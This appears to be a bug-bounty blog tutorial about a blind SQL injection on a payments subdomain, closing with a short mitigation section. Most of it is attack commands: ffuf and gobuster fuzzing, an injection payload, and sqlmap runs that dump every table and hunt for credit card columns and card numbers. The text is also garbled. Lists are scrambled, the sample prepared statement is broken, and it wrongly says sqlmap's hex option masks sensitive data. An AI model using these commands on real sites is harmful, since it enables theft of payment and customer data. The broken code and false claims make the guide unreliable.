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Introduction
SQL injection (SQLi) was long considered a “legacy” vulnerability, yet it remains one of the most dangerous attack vectors when overlooked. A recent real‑world bug bounty hunt on YesWeHack proved that classic, blind time‑based SQLi can still compromise a major company’s entire database—including payment details and customer PII—simply by fuzzing parameters that others ignored.
Learning Objectives
- Understand how to discover hidden SQLi entry points using recursive directory and parameter fuzzing.
- Learn to leverage `sqlmap` for automated data extraction without complex WAF bypasses.
- Master the art of analyzing unusual HTTP status codes (404, 400) to uncover injection‑prone endpoints.
You Should Know
1. Recursive Directory Fuzzing with Unusual Status Codes
Most automated scanners skip 404 and 400 responses, but these often hide application logic that reflects user input. The bug hunter found a subdomain (payments.example.com) and then deep‑fuzzed parameters—starting with directory brute‑forcing that returned non‑200 codes.
Step‑by‑step guide:
- Use `ffuf` (Linux) or `dirb` (Windows via WSL) to recursively fuzz directories while logging all status codes:
ffuf -u https://payments.example.com/FUZZ -w /usr/share/wordlists/dirb/common.txt -recursion -recursion-depth 3 -fc 200,301,302 -o fuzz_results.json
– `-fc` filters out common codes; we want to see 404, 400, 403.
-
For Windows (PowerShell +
Invoke-WebRequest) or use `dirb` from Cygwin:$wordlist = Get-Content .\common.txt foreach ($dir in $wordlist) { $url = "https://payments.example.com/$dir" $resp = Invoke-WebRequest -Uri $url -Method Get -SkipCertificateCheck if ($resp.StatusCode -eq 404 -or $resp.StatusCode -eq 400) { Write-Host "$url -> $($resp.StatusCode)" } } -
Don’t forget extension fuzzing – add
.php,.asp,.jsp,.bak,.sql:ffuf -u https://payments.example.com/indexFUZZ -w extensions.txt -w /path/to/wordlist
-
Analyze responses – a 404 page that echoes your input is a goldmine for SQLi.
2. Parameter Discovery via Fuzzing (The “term” Parameter)
After finding interesting paths, the hunter fuzzed GET/POST parameters. The parameter `term` returned unusual data, leading to SQLi.
Step‑by‑step guide:
- Use `ffuf` to fuzz parameters on a specific endpoint:
ffuf -u 'https://payments.example.com/api/search?FUZZ=test' -w params.txt -fs 0
– `params.txt` contains common names like
id,q,search,term,keyword,filter.
2. Observe differences in response length or content.
When `term` is supplied, the page might show autocomplete suggestions or error messages.
Manually test with a single quote:
`https://payments.example.com/api/search?term=’`
Look for SQL errors like “You have an error in your SQL syntax”.
- Use `Burp Suite Intruder` (Windows/Linux) – set payload position on `term=§test§` and inject SQLi payloads (e.g.,
' OR '1'='1). Monitor response times and content. -
Classic SQL Injection with sqlmap (No WAF Bypass Needed)
Once a vulnerable parameter is confirmed, `sqlmap` automates database enumeration. The post mentions no need for crazy WAF bypasses or IP rotations – just a straightforward dump.
Step‑by‑step guide (Linux / Windows – same commands):
- Capture the request using a proxy (Burp) or browser dev tools, then save it to a file (e.g.,
req.txt).
2. Run sqlmap to detect and exploit:
sqlmap -r req.txt -p term --dbms=MySQL --level=3 --risk=2
3. Enumerate databases:
sqlmap -r req.txt -p term --dbs
4. Dump all tables from a specific database:
sqlmap -r req.txt -p term -D database_name --tables --dump
– Use `–threads=10` for faster extraction.
- To dump all 107 tables automatically (as the hunter did), add
--dump-all --exclude-sysdbs. -
For a time‑based blind injection (common when no error is shown):
sqlmap -r req.txt -p term --technique=T --time-sec=5
-
Handling Sensitive Data Extraction – Credit Cards & Payments
The database contained payments, coupons, customer info, and credit card details. Once dumped, this data must be handled ethically (in a bug bounty context, only for proof).
Step‑by‑step guide for post‑exploitation analysis (legal, within scope):
- Use sqlmap’s search option to locate credit card patterns:
sqlmap -r req.txt -p term --search -C "cc_number,card_number,pan"
2. Export only sample rows for proof‑of‑concept:
sqlmap -r req.txt -p term -D payments_db -T credit_cards --columns --dump --where "id=1"
- Mask sensitive output with `–hex` or `–no-cast` to avoid accidental leakage.
-
For Linux/Windows, pipe results to `grep` or
findstr:sqlmap ... --dump | grep -E '4[0-9]{12}(?:[0-9]{3})?|5[1-5][0-9]{14}'
5. Mitigation: How to Prevent This SQLi Attack
The company fixed the issue quickly. Here’s how to protect similar payment subdomains.
Step‑by‑step guide for developers & defenders:
- Use parameterized queries (prepared statements) – never concatenate user input.
Example (PHP/PDO):
$stmt = $pdo->prepare('SELECT FROM products WHERE term = :term');
$stmt->execute(['term' => $_GET['term']]);
- Implement a Web Application Firewall (WAF) with custom rules for `term` and similar parameters.
ModSecurity rule example:
SecRule ARGS:term "(\bselect\b|\bunion\b|\bdump\b)" "id:1001,deny,status:403"
- Least privilege database accounts – the web app user should only have `SELECT` on necessary tables, no `DROP` or
INSERT. -
Regular fuzzing with tools like `ffuf` and `sqlmap` in CI/CD pipelines.
Automated command:
docker run --rm -v $(pwd):/data sqlmap/sqlmap -r /data/request.txt --batch --smart
- Monitor for anomalous status codes – 500 errors from SQL syntax mistakes should trigger alerts.
-
Advanced Tip: Fuzzing on 404/400 – Reverse Engineering Logic
The post emphasizes checking 404/400 responses. Why? Some frameworks return 404 but still execute backend logic, reflecting user input in a hidden div or JSON.
Step‑by‑step guide:
- Use `curl` to compare a valid vs invalid path:
curl -i 'https://payments.example.com/nonexistent?term=test' | grep -i "error" curl -i 'https://payments.example.com/validpath?term=test' | grep -i "term"
-
If the 404 page includes your `term` value, attempt SQLi even on 404.
-
Use `gobuster` with `-s “200,204,301,302,307,400,404”` to force inclusion of unusual codes:
gobuster dir -u https://payments.example.com -w common.txt -s "200,204,301,302,307,400,404"
4. On Windows, use `Select-String` after `curl`:
curl.exe -s -D - https://payments.example.com/404?term=test | Select-String "term"
What Undercode Say
- SQLi is far from dead – especially on complex, fuzzed parameters like `term` that developers overlook.
- Recursive fuzzing with unusual status codes uncovers more endpoints than standard 200‑only scans.
- Simplicity wins – no WAF bypass, no IP rotation; just old‑school testing with `sqlmap` still dumps 107 tables.
The real lesson: defense must include continuous fuzzing of every parameter, on every subdomain, with every status code. Automation tools skip “noise” – but noise is where critical vulnerabilities hide. The hunter’s success came from patience: deep directory fuzzing, parameter brute‑forcing, and trusting a hunch. For blue teams, this means monitoring not just 5xx errors, but also unusual patterns in 400/404 responses. For bug hunters, never assume a “rare” vulnerability is extinct – test it anyway.
Prediction
As companies shift left and adopt API‑first architectures, SQLi will resurge on undocumented parameters and legacy payment endpoints. Automation will focus on 200 OK responses, so manual fuzzing of 404/400 will become a top‑tier bug bounty technique. Expect more “classic” SQLi findings on private programs, especially those with 1k+ reports – because volume does not equal security. The next critical breach won’t come from a zero‑day; it will come from a forgotten `term` parameter on a payments subdomain.
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Reported By: Ilyassalioui Bugbounty – Hackers Feeds
Extra Hub: Undercode MoN
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